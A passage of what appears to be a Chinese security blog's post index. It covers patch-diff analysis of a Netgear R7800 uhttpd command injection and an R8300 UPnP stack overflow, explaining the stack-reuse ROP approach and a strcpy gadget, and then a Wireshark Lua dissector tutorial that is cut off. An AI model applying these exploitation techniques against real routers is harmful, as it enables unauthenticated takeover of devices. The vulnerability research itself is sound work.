style=\"zoom:70%\">\n\n同样,对`uhttpd`进行分析,`Bindiff`比对的结果如下。大部分发生变化的是系统函数,除了`uh_cgi_auth_check()`函数之外。\n\n<img src=\"images/uhtpd_matched_functions.png\" style=\"zoom:70%\">\n\n两个版本中`uh_cgi_auth_check()`函数内的主要差异如下。在新版本中增加了`dni_system()`函数,而在老版本中则使用`snprintf() + system()`的模式,熟悉的人一看可能就知道这是典型的命令注入漏洞。在查看`dni_system()`后,其内部使用`execve()`来执行命令,更加证实了这一点。\n\n<img src=\"images/uh_cgi_auth_check_diff.png\" style=\"zoom:80%\">\n\n现在大体上定位到了漏洞的具体位置(当然也有可能不是...),还需要进一步分析看能否触发以及如何触发。\n\n### 静态分析\n\n`uh_cgi_auth_check()`函数的部分伪代码如下,其主要逻辑为:找到请求头中的`Authorization`部分,获取`\"Basic \"`后面的内容,在`base64`解码后获取其中的`password`,再传入`snprintf()`中进行格式化,最后调用`system()`执行。典型的命令注入模式,且发生在进行认证的过程中,与安全资讯中提到的的\"无需认证\"相对应,再一次说明漏洞很可能就是这里(当然还没有完全确定...)。\n\n```c\nsigned int __fastcall uh_cgi_auth_check(int a1, int a2, int a3)\n{\n // ...\n while ( 1 ) // 从HTTP头中找到Authorization部分, 然后获取\"Basic \"后面的值\n {\n v11 = *(const char **)(v10 + 16);\n // ...\n if ( !strcasecmp(v11, \"Authorization\") )\n {\n v12 = *(const char **)(v10 + 20);\n if ( strlen(*(const char **)(v10 + 20)) > 6 )\n {\n v13 = strncasecmp(v12, \"Basic \", 6u);\n if ( !v13 )\n break;\n // ...\n }\n // ...\n uh_b64decode(&s, 4095, v12 + 6, v23 - 6);\n v24 = strchr(&s, ':'); // base64解码后的内容为\"username:password\"这种形式\n // ...\n *v24 = v14;\n v15 = (int)(v24 + 1);\n if ( v24 != (char *)-1 )\n {\n // 将password作为参数传入, 然后调用system()执行\n snprintf((char *)&v29, 0x80u, \"/usr/sbin/hash-data -e %s >/tmp/hash_result\", v15);\n system((const char *)&v29);\n v3 = cat_file((int)\"/tmp/hash_result\", v25, v26);\n }\n // ...\n}\n```\n\n如果手边有真实设备的话,其实就可以直接在设备上进行测试了,然而我手边并没有真实设备:( ... 所以继续对调用路径进行分析。`uh_cgi_auth_check()`函数的调用路径很简单,仅有2处调用,且均在`main()`函数中,如下。对`main()`函数前面的逻辑进行了简单的分析,主要是解析`uhttpd`命令行参数、服务初始化、解析部分HTTP请求参数之类的,没啥特别的。\n\n<img src=\"images/uh_cgi_auth_check_call.png\" style=\"zoom:90%\">\n\n现在确信这里是可以触发的,奈何手边没有真实设备,于是又开始折腾固件仿真,想进一步通过动态测试验证。\n\n### 动态分析\n\n对`IoT`设备进行固件仿真,常见的方式如下。\n\n+ 基于`qemu user mode`,模拟单个服务: `D-Link`的很多设备可以采用这种方式\n+ 基于`qemu system mode`, 模拟整个系统:一些第三方工具对`qemu`进行了封装,比如`Firmadyne`、`ARM-X`\n+ \"纯软件模拟\":如`Qiling`\n\n为了方便,首先使用`Firmadyne`框架进行测试,发现无法获取网络配置信息。而`ARM-X`和`Qiling`框架暂时未仔细研究,所以还是采用我经常使用的方式:基于`qemu user mode`模拟单个服务,如下。幸运地是,服务成功跑起来了,暂时没有报错,无需手动修复环境。\n\n```shell\n# '-f' option is used for debugging easily \n$ sudo chroot . ./qemu-arm-static /usr/sbin/uhttpd -f -h /www -r R7800 -x /cgi-bin -t 80 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443\n\n$ netstat -tlnp\nProto Recv-Q Send-Q Local Address Foreign Address State \ntcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN\ntcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN \n```\n\n由于对`R7800`这款设备不太熟悉,不知道`url`的前缀,先直接访问`/`路径,并带上对应的`payload`,测试后发现并未成功,难道是没有触发对应的路径?然后在启动时加上`qemu`的`-g`选项,采用`gdb-multiarch`进行附加调试,分析发现在`uh_cgi_auth_check()`函数头部有一个判断没通过,如下。\n\n```c\nsigned int __fastcall uh_cgi_auth_check(int a1, int a2, int a3)\n{\n // ...\n // 经调试得到: 比较\"/start.htm\" 和\"/cgi-bin\"\n v9 = strncasecmp(*(const char **)(v6 + 8), *(const char **)(*(_DWORD *)(*(_DWORD *)(v4 + 4104) + 32) + 4132), v8);\n if ( v9 )\n return 1;\n // ...\n}\n```\n\n在将`url`改为`/cgi-bin`后,浏览器成功地弹出了认证的对话框,之后在`gdb`中可以看到成功地到达了漏洞点。然而,命令执行完毕之后,本地还是没有生成`hello.txt`文件... (PS:尝试了多种payload无果,可能和基于`qemu user mode`仿真有关)\n\n<img src=\"images/gdb.png\" style=\"zoom:100%\">\n\n> 上述问题与`binfmt_misc`机制有关,一种简单的解决办法为:将`qemu-arm-static`文件拷贝到解压后的文件系统的`/usr/bin`目录下。具体可参考[【置顶】技巧misc](https://cq674350529.github.io/2020/05/09/%E6%8A%80%E5%B7%A7misc/) 中\"`qemu`仿真出现`execve()`错误\"小节。\n\n### 小结\n\n本文从漏洞公告出发,通过固件版本差异分析,再到补丁比对,最终成功定位到漏洞,并结合静态分析和动态仿真的方式对漏洞进行了验证。整体上来说,思路算是完整的,也适用于分析其他的`N day`,区别在于整个过程中每一步的复杂程度不一样。\n\n### 相关链接\n\n+ [Security Advisory for Unauthenticated Remote Code Execution on R7800, PSV-2019-0076](https://kb.netgear.com/000061740/Security-Advisory-for-Unauthenticated-Remote-Code-Execution-on-R7800-PSV-2019-0076)\n\n\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/QUrErOgaUcQVhQz5fGhc_w](https://mp.weixin.qq.com/s/QUrErOgaUcQVhQz5fGhc_w)\n\n","tags":["Netgear","补丁分析"],"categories":["漏洞"]},{"title":"PSV-2020-0211:Netgear R8300 UPnP栈溢出漏洞分析","url":"/2020/09/16/PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析/","content":"\n### 漏洞简介\n\n`PSV-2020-0211`对应`Netgear` `R8300`型号路由器上的一个缓冲区溢出漏洞,`Netgear`官方在2020年7月31日发布了[安全公告](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211),8月18日`SSD`公开了该漏洞的相关[细节](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)。该漏洞存在于设备的`UPnP`服务中,由于在处理数据包时缺乏适当的长度校验,通过发送一个特殊的数据包可造成缓冲区溢出。利用该漏洞,未经认证的用户可实现任意代码执行,从而获取设备的控制权。\n\n<!-- more -->\n\n该漏洞本身比较简单,但漏洞的利用思路值得借鉴,下面通过搭建`R8300`设备的仿真环境来对该漏洞进行分析。\n\n### 漏洞分析\n\n#### 环境搭建\n\n根据官方发布的安全公告,在版本`V1.0.2.134`中修复了该漏洞,于是选取之前的版本`V1.0.2.130`进行分析。由于手边没有真实设备,打算借助`qemu`工具来搭建仿真环境。[文章](https://paper.seebug.org/1311)通过`qemu system mode`的方式来模拟整个设备的系统,我个人更偏向于通过`qemu user mode`的方式来模拟单服务。当然,这两种方式可能都需要对环境进行修复,比如文件/目录缺失、`NVRAM`缺失等。\n\n用`binwalk`对固件进行解压提取后,运行如下命令启动`UPnP`服务。\n\n```shell\n# 添加`--strace`选项, 方便查看错误信息, 便于环境修复\n<extracted squashfs-root>$ sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd\n```\n\n运行后提示如下错误,根据对应的目录结构,通过运行命令`mkdir -p tmp/var/run`解决。\n\n```shell\n18336 open(\"/var/run/upnpd.pid\",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)\n```\n\n之后再次运行上述命令,提示大量的错误信息,均与`NVRAM`有关,该错误在进行`IoT`设备仿真时会经常遇到。`NVRAM`中保存了设备的一些配置信息,而程序运行时需要读取配置信息,由于缺少对应的外设,因此会报错。一种常见的解决方案是`\"劫持\"`与`NVRAM`读写相关的函数,通过软件的方式来提供相应的配置。\n\n网上有很多类似的模拟`NVRAM`行为的库,我个人经常使用`Firmadyne`框架提供的`libnvram`库:支持很多常见的`api`,对很多嵌入式设备进行了适配,同时还会解析固件中默认的一些`NVRAM`配置,实现方式比较优雅。采用该库,往往只需要做很少的改动,甚至无需改动,就可以满足需求。\n\n参考`libnvram`的[文档](https://github.com/firmadyne/libnvram),编译后然后将其置于文件系统中的`firmadyne`路径下,然后通过`LD_PRELOAD`环境变量进行加载,命令如下。\n\n```shell\n<extracted squashfs-root>$ sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd\n```\n\n运行后提示缺少某个键值对,在`libnvram/config.h`中添加对应的配置,编译后重复进行测试,直到程序成功运行起来即可,最终`libnvram/config.h`的变化如下。\n\n```shell\ndiff --git a/config.h b/config.h\nindex 9908414..6598eba 100644\n--- a/config.h\n+++ b/config.h\n@@ -50,8 +50,10 @@\n ENTRY(\"sku_name\", nvram_set, \"\") \\\n ENTRY(\"wla_wlanstate\", nvram_set, \"\") \\\n ENTRY(\"lan_if\", nvram_set, \"br0\") \\\n- ENTRY(\"lan_ipaddr\", nvram_set, \"192.168.0.50\") \\\n- ENTRY(\"lan_bipaddr\", nvram_set, \"192.168.0.255\") \\\n+ ENTRY(\"lan_ipaddr\", nvram_set, \"192.168.200.129\") \\\n+ ENTRY(\"lan_bipaddr\", nvram_set, \"192.168.200.255\") \\\n ENTRY(\"lan_netmask\", nvram_set, \"255.255.255.0\") \\\n /* Set default timezone, required by multiple images */ \\\n ENTRY(\"time_zone\", nvram_set, \"EST5EDT\") \\\n@@ -70,6 +72,10 @@\n /* Used by \"DGND3700 Firmware Version 1.0.0.17(NA).zip\" (3425) to prevent crashes */ \\\n ENTRY(\"time_zone_x\", nvram_set, \"0\") \\\n ENTRY(\"rip_multicast\", nvram_set, \"0\") \\\n- ENTRY(\"bs_trustedip_enable\", nvram_set, \"0\")\n+ ENTRY(\"bs_trustedip_enable\", nvram_set, \"0\") \\\n+ /* Used by Netgear router: enable upnpd log */ \\\n+ ENTRY(\"upnpd_debug_level\", nvram_set, \"3\") \\\n+ /* Used by \"Netgear R8300\" */ \\\n+ ENTRY(\"hwrev\", nvram_set, \"MP1T99\")\n```\n\n需要说明的是,`libnvram`还会尝试去定位固件中的全局符号`router_defaults`和`Nvrams`,并加载其中存在的键值对,对应的代码如下。其中,调用`nvram_set_default_*`的顺序为:`nvram_set_default_builtin()`,`nvram_set_default_table(a)`。也就是说,上面`NVRAM_DEFAULTS`中的键值对会先被加载,然后再加载全局符号`router_defaults`和`Nvrams`中存在的键值对。因此,在`libnvram/config.h`中添加的键值对有可能会被覆盖(比如`lan_ipaddr`),为了保证自定义的键值对生效,对`libnvram/nvram.c`的修改如下。\n\n```c\nint nvram_set_default(void) {\n int ret = nvram_set_default_builtin();\n PRINT_MSG(\"Loading built-in default values = %d!\\n\", ret);\n\n#define NATIVE(a, b) \\\n if (!system(a)) { \\\n PRINT_MSG(\"Executing native call to built-in function: %s (%p) = %d!\\n\", #b, b, b); \\\n }\n\n#define TABLE(a) \\\n PRINT_MSG(\"Checking for symbol \\\"%s\\\"...\\n\", #a); \\\n if (a) { \\\n PRINT_MSG(\"Loading from native built-in table: %s (%p) = %d!\\n\", #a, a, nvram_set_default_table(a)); \\\n }\n\n#define PATH(a) \\\n if (!access(a, R_OK)) { \\\n PRINT_MSG(\"Loading from default configuration file: %s = %d!\\n\", a, foreach_nvram_from(a, (void (*)(const char *, const char *, void *)) nvram_set, NULL)); \\\n }\n\n NVRAM_DEFAULTS_PATH\n#undef PATH\n#undef NATIVE\n#undef TABLE\n\n return nvram_set_default_image();\n}\n```\n\n```shell\ndiff --git a/nvram.c b/nvram.c\nindex 1df6d86..cfa1491 100644\n--- a/nvram.c\n+++ b/nvram.c\n@@ -569,8 +569,6 @@ int nvram_set_int(const char *key, const int val) {\n }\n \n int nvram_set_default(void) {\n- int ret = nvram_set_default_builtin();\n- PRINT_MSG(\"Loading built-in default values = %d!\\n\", ret);\n \n #define NATIVE(a, b) \\\n if (!system(a)) { \\\n@@ -593,6 +591,9 @@ int nvram_set_default(void) {\n #undef NATIVE\n #undef TABLE\n\n+ PRINT_MSG(\"Loading built-in default values = %d!\\n\", nvram_set_default_builtin());\n+\n return nvram_set_default_image();\n }\n```\n\n程序成功运行效果如下。\n\n```shell\n<extracted squashfs-root>$ sudo chroot . ./qemu-arm-static -E LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd\nnvram_get_buf: upnpd_debug_level\nsem_lock: Triggering NVRAM initialization!\nnvram_init: Initializing NVRAM...\n# ... <omit>\nnvram_match: upnp_turn_on (1) ?= \"1\"\nnvram_match: true\nssdp_http_method_check(203):\nssdp_discovery_msearch(1007):\nST = 20\nssdp_check_USN(212)\nservice:dial:1\nUSER-AGENT: Google Chrome/84.0.4147.125 Windows\n```\n\n#### 漏洞分析\n\n在`upnp_main()`中,在`(1)`处`recvfrom()`用来读取来自`socket`的数据,并将其保存在`v55`指向的内存空间中。在`(2)`调用`ssdp_http_method_check()`,传入该函数的第一个参数为`v55`,即指向接收的`socket`数据。\n\n```c\nint upnp_main()\n{\n char v55[4]; // [sp+44h] [bp-20ECh]\n\n // ...\n while ( 1 )\n {\n // ...\n if ( (v20 >> (dword_C4580 & 0x1F)) & 1 )\n {\n v55[0] = 0;\n v28 = recvfrom(dword_C4580, v55, 0x1FFFu, 0, (struct sockaddr *)&v63, (socklen_t *)&v71); // (1)\n // ...\n if ( v29 )\n {\n if ( v28 )\n {\n // ...\n if ( acosNvramConfig_match(\"upnp_turn_on\", \"1\") )\n ssdp_http_method_check( v55, (int)&v59, (unsigned __int16)(HIWORD(v63) << 8) | (unsigned __int16)(HIWORD(v63) >> 8)); // (2)\n // ...\n```\n\n在`ssdp_http_method_check()`中,在`(3)`处调用`strcpy()`进行数据拷贝,其中`v40`指向栈上的局部缓冲区,`v3`指向接收的`socket`数据。由于缺乏长度校验,当构造一个超长的数据包时,拷贝时会出现缓冲区溢出。\n\n```cc\nsigned int ssdp_http_method_check(const char *a1, int a2, int a3)\n{\n int v40; // [sp+24h] [bp-634h]\n\n v3 = a1;\n // ... \n wrap_vprintf(3, \"%s(%d):\\n\", \"ssdp_http_method_check\", 203);\n if ( dword_93AE0 == 1 )\n return 0;\n strcpy((char *)&v40, v3); // (3) stack overflow\n // ...\n```\n\n### 漏洞利用\n\n`upnpd`程序启用的缓解措施如下,可以看到仅启用了`NX`机制。另外,由于程序的加载基址为`0x8000`,故`.text`段地址的最高字节均为`\\x00`,而在调用`strcpy()`时存在`NULL`字符截断的问题,因此在进行漏洞利用时需要想办法绕过`NULL`字符限制的问题。\n\n```shell\n$ checksec --file ./upnpd\n Arch: arm-32-little\n RELRO: No RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8000)\n```\n\n`SSD`公开的[漏洞细节](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)中给出了一个方案:通过`stack reuse`的方式来绕过该限制。具体思路为,先通过`socket`发送第一次数据,往栈上填充相应的`rop payload`,同时保证不会造成程序崩溃;再通过`socket`发送第二次数据用于覆盖栈上的返回地址,填充的返回地址用来实现`stack pivot`,即劫持栈指针使其指向第一次发送的`payload`处,然后再复用之前的`payload`以完成漏洞利用。`SSD`公开的漏洞细节中的示意图如下。\n\n<img src=\"images/SSD_r8300_exploit_flow.png\" style=\"zoom:90%\">\n\n实际上,由于`recvfrom()`函数与漏洞点`strcpy()`之间的路径比较短,栈上的数据不会发生太大变化,利用`stack reuse`的思路,只需发送一次数据即可完成利用,示意图如下。在调用`ssdp_http_method_check()`前,接收的`socket`数据包保存在`upnp_main()`函数内的局部缓冲区上,而在`ssdp_http_method_check()`内,当调用完`strcpy()`后,会复制一部分数据到该函数内的局部缓冲区上。通过覆盖栈上的返回地址,可劫持栈指针,使其指向`upnp_main()`函数内的局部缓冲区,复用填充的`rop gadgets`,从而完成漏洞利用。\n\n<img src=\"images/stack_frame_before_call_ssdp.png\" style=\"zoom:70%\">\n\n<img src=\"images/stack_frame_after_call_strcpy.png\" style=\"zoom:70%\">\n\n另外在调用`strcpy()`后,在`(4)`处还调用了函数`sub_B60C()`。通过对应的汇编代码可知,在覆盖栈上的返回地址之前,也会覆盖`R7`指向的栈空间内容,之后`R7`作为参数传递给`sub_B60C()`。而在`sub_B60C()`中,会读取`R0`指向的栈空间中的内容,然后再将其作为参数传递给`strstr()`,这意味`[R0]`中的值必须为一个有效的地址。因此在覆盖返回地址的同时,还需要用一个有效的地址来填充对应的栈偏移处,保证函数在返回前不会出现崩溃。由于`libc`库对应的加载基址比较大,即其最高字节不为`\\x00`,因此任意选取该范围内的一个不包含`\\x00`的有效地址即可。\n\n<img src=\"images/call_sub_B60C.png\" style=\"zoom:70%\">\n\n在解决了`NULL`字符截断的问题之后,剩下的部分就是寻找`rop gadgets`来完成漏洞利用了,相对比较简单。同样,`SSD`公开的[漏洞细节](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)中也包含了完整的漏洞利用代码,其思路是通过调用`strcpy gadget`拼接出待执行的命令,并将其写到某个`bss`地址处,然后再调用`system gadget`执行对应的命令。\n\n在给出的漏洞利用代码中,`strcpy gadget`执行的过程相对比较繁琐,经过分析后,在`upnpd`程序中找到了另一个更优雅的`strcpy gadget`,如下。借助该`gadget`,可以直接在数据包中发送待执行的命令,而无需进行命令拼接。\n\n```assembly\n.text:0000B764 MOV R0, R4 ; dest\n.text:0000B768 MOV R1, SP ; src\n.text:0000B76C BL strcpy\n.text:0000B770 ADD SP, SP, #0x400\n.text:0000B774 LDMFD SP!, {R4-R6,PC}\n```\n\n### 补丁分析\n\n`Netgear` 官方在`R8300-V1.0.2.134_1.0.99`版本中修复该漏洞。函数`ssdp_http_method_check()`的相关伪代码如下,可以看到,在补丁中调用的是`strncpy()`而非原来的`strcpy()`,同时还对局部缓冲区`&v40`进行了初始化。\n\n```c\nsigned int ssdp_http_method_check(const char *a1, int a2, int a3)\n{\n\n int v40; // [sp+24h] [bp-Ch]\n\n v3 = a1;\n // ...\n memset(&v40, 0, 0x5DCu);\n v52 = 32;\n sub_B814(3, \"%s(%d):\\n\", \"ssdp_http_method_check\", 203);\n if ( dword_93AE0 == 1 )\n return 0;\n v51 = &v40;\n strncpy((char *)&v40, v3, 0x5DBu);\t\t// patch\n // ...\n```\n\n### 小结\n\n本文通过搭建`Netgear` `R8300`型号设备的仿真环境,对其`UPnP`服务中存在的缓冲区溢出漏洞进行了分析。漏洞本身比较简单,但漏洞利用却存在`NULL`字符截断的问题,`SSD`公开的漏洞细节中通过`stack reuse`的方式实现了漏洞利用,思路值得借鉴和学习。\n\n### 相关链接\n\n+ [Security Advisory for Pre-Authentication Command Injection on R8300, PSV-2020-0211](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211)\n+ [SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)\n+ [Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现](https://paper.seebug.org/1311)\n+ [Firmadyne libnvram](https://github.com/firmadyne/libnvram)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/217606](https://www.anquanke.com/post/id/217606)\n\n\n\n","tags":["Netgear"],"categories":["IoT","漏洞"]},{"title":"Create Wireshark Dissector in Lua","url":"/2020/09/03/Create-Wireshark-Dissector-in-Lua/","content":"\n### 前言\n\n在对嵌入式设备进行分析时,有时会遇到一些私有协议,由于缺少对应的解析插件,这些协议无法被`Wireshark`解析,从而以原始数据的形式呈现,不便于对协议的理解与分析。正好之前看到了介绍用`Lua`脚本编写`Wireshark`协议解析插件的[文章](https://mika-s.github.io/wireshark/lua/dissector/2017/11/04/creating-a-wireshark-dissector-in-lua-1.html),于是以群晖`NAS`设备中的某个私有协议为例,动手写了一个协议解析插件。\n\n<!-- more -->\n\n### 协议简介\n\n`Synology Assistant`是群晖提供的一个用于在局域网中发现和管理其设备的工具,其通过`9999/udp`端口来和`NAS`设备进行交互,在`Wireshark`捕获到的部分数据包示例如下。可以看到,由于该协议为私有协议,`Wireshark`中缺少对应的解析插件,故无法对其进行解析。\n\n> 根据该协议的作用,暂且称之为`syno_finder`协议。\n\n<img src=\"images/syno_finder_pcap_example.png\" style=\"zoom:80%\">\n\n通过对协议进行分析,以及对对应的程序进行逆向,得到`syno_finder`协议的格式如下。其中,协议最开始的8个字节固定为`\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f`,后面部分可以看作是由一系列的`tlv`组成。\n\n```c\n#define MAGIC \"\\x12\\x34\\x56\\x78\\x53\\x59\\x4e\\x4f\"\nstruct tlv\n{\n uint8 type;\n uint8 length;\n uint8 value[length];\n}\n```\n\n在了解了协议的格式后,就可以开始编写对应的解析插件了。\n\n### 协议解析插件编写\n\n`Wireshark`本身以及其自带的很多插件都是用C语言写的,同时其也提供了对应的`Lua`接口,使得编写协议解析插件变得很容易。\n\n#### 插件安装及调试\n\n在`\"帮助 -> 关于 Wireshark -> 文件夹\"`中可以看到`Lua`插件的保存路径,将插件放到对应的路径中即可,然后通过`Ctrl+Shift+L`快捷键来重新加载插件使其生效。\n\n至于调试`Lua`脚本,一般采用`print()`的方式就足够了,在`\"工具 -> Lua\" ` 中打开`Console`窗口可查看打印的内容。另一种方式是在`\"编辑 -> 首选项 -> 高级\"`中设置`gui.console_open`为`Always`,同时设置`console.log.level`为`255`,这样在启动`Wireshark`时会自动打开`debug`窗口,以便查看打印的内容。\n\n> 笔者在测试时,发现每次按`Ctrl+Shift+L`快捷键重新加载插件时`Console`窗口会自动关闭,导致看不到打印的内容。\n\n另外,如果编写的`Lua`插件在运行时出现错误,对应的错误信息会出现`Wireshark`的协议解析窗口中,可以根据该错误信息去查看`Wireshark`或`Lua`的相关文档。一个比较有用的小技巧是,有时候在编写插件时不知道某个参数的类型或者某个对象实例有哪些方法,可以通过故意出错的方式来产生错误信息,然后根据该信息去查阅文档。\n\n#### 插件编写\n\n一个基本的协议解析插件的代码框架如下。其中,协议解析的主要逻辑在`dissector()`函数中,该函数有3个参数,如下:\n\n+ `buffer`:类型为`Tvb`,包含对应数据包的内容\n\n+ `pinfo`:类型为`Pinfo`,包含数据包列表中的列信息\n+ `tree`:类型为`TreeItem`,包含数据包详情面板中的相关信息\n\n```lua\n-- create a Proto object\nlocal synoFinderProtocol = Proto(\"SynoFinder\", \"Synology Finder Protocol\")\nlocal protoName = \"syno_finder\"\n\n-- create ProtoField Objects\nlocal magic = ProtoField.bytes(protoName .. \".magic\", \"Magic\", base.SPACE)\n\n-- (1) register fields\nsynoFinderProtocol.fields = {magic}\n\nfunction synoFinderProtocol.dissector(buffer, pinfo, tree)\n local buffer_length = buffer:len()\n if buffer_length == 0 then return end\n\t\n -- set the name of protocol column\n pinfo.cols.protocol = synoFinderProtocol.name\n \n -- create a sub tree representing the synology finder protocol data\n local subtree = tree:add(synoFinderProtocol, buffer(), \"Synology Finder Protocol\")\n -- (2) add fields\n subtree:add_le(magic, buffer(0, 8))\t\t\nend\n\nlocal udp_port = DissectorTable.get(\"udp.port\")\n-- bind port to protocol\nudp_port:add(9999, synoFinderProtocol)\n```\n\n基于上述代码框架,为了解析协议,只需要创建对应的协议字段并在`(1)`处注册,然后在`(2)`处添加到`tree`中即可。需要说明的是,后续要使用的协议字段必须在`(1)`处进行注册,但其注册的先后顺序并不代表其在`tree`中的顺序,同时注册的协议字段也可能并未使用。\n\n<img src=\"images/syno_finder_plugin_init.png\" style=\"zoom:80%\">\n\n由于`syno_finder`协议相对比较简单,同时后面的数据存在一定的规律,只需要再创建`3`个字段,然后在循环中进行解析即可,对应的解析结果如下。\n\n```lua\nlocal magic = ProtoField.bytes(protoName .. \".magic\", \"Magic\", base.SPACE)\nlocal type = ProtoField.uint8(protoName .. \".type\", \"Type\", base.HEX)\nlocal length = ProtoField.uint8(protoName .. \".length\", \"Length\")\nlocal value = ProtoField.bytes(protoName .. \".value\", \"Value\")\n\nsynoFinderProtocol.fields = {magic, type, length, value}\n\nfunction synoFinderProtocol.dissector(buffer, pinfo, tree)\n -- ...\n local subtree = tree:add(synoFinderProtocol, buffer(), \"Synology Finder Protocol\")\n subtree:add_le(magic, buffer(0, 8))\n\n local offset = 0\n local payloadStart = 8\n while payloadStart + offset < buffer_length do\n local tlvLength = buffer(payloadStart + offset + 1, 1):uint()\n subtree:add_le(type, buffer(payloadStart + offset, 1))\n subtree:add_le(length, buffer(payloadStart + offset + 1, 1))\n subtree:add_le(value, buffer(payloadStart + offset + 2, tlvLength))\n offset = offset + 2 + tlvLength\n end\nend\n```\n\n<img src=\"images/syno_finder_plugin_simple.png\" style=\"zoom:80%\">\n\n到这里,一个最基本的协议解析插件就算完成了。但是从上面的图片可以看到,上述代码只是完成了最基本的功能,显示的结果并不太友好,还有进一步优化的空间:\n\n+ 将每个`tlv`进行聚合,同时根据`type`类型的不同显示不同的名称;\n+ 根据`value`对应的类型以不同的方式呈现其值,比如`ip`地址、`mac`地址等,同时考虑对应的字节序。\n\n参考`Wireshark`中`CDP`协议解析插件的实现方式,最终呈现的效果以及完整的插件代码如下。\n\n<img src=\"images/syno_finder_plugin_final.png\" style=\"zoom:80%\">\n\n<br />\n\n```lua\nlocal synoFinderProtocol = Proto(\"SynoFinder\", \"Synology Finder Protocol\")\nlocal protoName = \"syno_finder\"\n\nlocal typeNames = {\n [0x1] = \"Packet Type\",\n [0x11] = \"Server Name\",\n [0x12] = \"IP\",\n [0x13] = \"Subnet Mask\",\n [0x14] = \"DNS\",\n [0x15] = \"DNS\",\n [0x19] = \"Mac Address\",\n [0x1e] = \"Gateway\",\n [0x20] = \"Packet Subtype\",\n [0x21] = \"Server Name\",\n [0x29] = \"Mac Address\",\n [0x2a] = \"Password\",\n [0x4a] = \"Username\",\n [0x4b] = \"Share Folder\",\n [0x70] = \"Arch\",\n [0x73] = \"Serial Num\",\n [0x77] = \"Version\",\n [0x78] = \"Model\",\n [0x7c] = \"Mac Address\",\n [0xc0] = \"Serial Num\",\n [0xc1] = \"Category\"\n}\n\nlocal magic = ProtoField.bytes(protoName .. \".magic\", \"Magic\", base.SPACE)\n\nlocal type = ProtoField.uint8(protoName .. \".type\", \"Type\", base.HEX, typeNames)\nlocal length = ProtoField.uint8(protoName .. \".length\", \"Length\")\nlocal value = ProtoField.bytes(protoName .. \".value\", \"Value\")\n\n-- specific value field\nlocal packetType = ProtoField.uint32(protoName .. \".packet_type\", \"Packet Type\", base.HEX)\nlocal serverName = ProtoField.string(protoName .. \".username\", \"Server Name\")\nlocal ipAddress = ProtoField.ipv4(protoName .. \".ip_address\", \"IP\")\nlocal ipMask = ProtoField.ipv4(protoName .. \".subnet_mask\", \"Subnet Mask\")\nlocal dns = ProtoField.ipv4(protoName .. \".dns\", \"DNS\")\nlocal macAddress = ProtoField.string(protoName .. \".mac_address\", \"Mac Address\")\nlocal ipGateway = ProtoField.ipv4(protoName .. \".gateway\", \"Gateway\")\nlocal packetSubtype = ProtoField.uint32(protoName .. \".packet_subtype\", \"Packet Subtype\", base.HEX)\nlocal password = ProtoField.string(protoName .. \".password\", \"Password\")\nlocal arch = ProtoField.string(protoName .. \".arch\", \"Arch\")\nlocal username = ProtoField.string(protoName .. \".username\", \"Username\")\nlocal shareFolder = ProtoField.string(protoName .. \".share_folder\", \"Share Folder\")\nlocal version = ProtoField.string(protoName .. \".version\", \"Version\")\nlocal model = ProtoField.string(protoName .. \".model\", \"Model\")\nlocal serialNum = ProtoField.string(protoName .. \".serial_num\", \"Serial Num\")\nlocal category = ProtoField.string(protoName .. \".category\", \"Category\")\n\nlocal value8 = ProtoField.uint8(protoName .. \".value\", \"Value\", base.HEX)\nlocal value16 = ProtoField.uint16(protoName .. \".value\", \"Value\", base.HEX)\nlocal value32 = ProtoField.uint32(protoName .. \".value\", \"Value\", base.HEX)\n\nlocal typeFields = {\n [0x1] = packetType,\n [0x11] = serverName,\n [0x12] = ipAddress,\n [0x13] = ipMask,\n [0x14] = dns,\n [0x15] = dns,\n [0x19] = macAddress,\n [0x1e] = ipGateway,\n [0x20] = packetSubtype,\n [0x21] = serverName,\n [0x29] = macAddress,\n [0x2a] = password,\n [0x4a] = username,\n [0x4b] = shareFolder,\n [0x70] = arch,\n [0x73] = serialNum,\n [0x77] = version,\n [0x78] = model,\n [0x7c] = macAddress,\n [0xc0] = serialNum,\n [0xc1] = category\n}\n\n-- display in subtree header\n-- reference: https://gist.github.com/FreeBirdLjj/6303864\nlocal typeFormats = {\n [0x1] = function (value)\n return string.format(\"0x%x\", value:le_uint())\n end,\n [0x11] = function (value)\n return value:string()\n end,\n [0x12] = function (value)\n return value:ipv4() -- Address object\n end,\n [0x13] = function (value)\n return value:ipv4()\n end,\n [0x14] = function (value)\n return value:ipv4()\n end,\n [0x15] = function (value)\n return value:ipv4()\n end,\n [0x19] = function (value)\n return value:string()\n end,\n [0x1e] = function (value)\n return value:ipv4()\n end,\n [0x20] = function (value)\n return string.format(\"0x%x\", value:le_uint())\n end,\n [0x21] = function (value)\n return value:string()\n end,\n [0x29] = function (value)\n return value:string()\n end,\n [0x2a] = function (value)\n return value:string()\n end,\n [0x4a] = function (value)\n return value:string()\n end,\n [0x4b] = function (value)\n return value:string()\n end,\n [0x70] = function (value)\n return value:string()\n end,\n [0x73] = function (value)\n return value:string()\n end,\n [0x77] = function (value)\n return 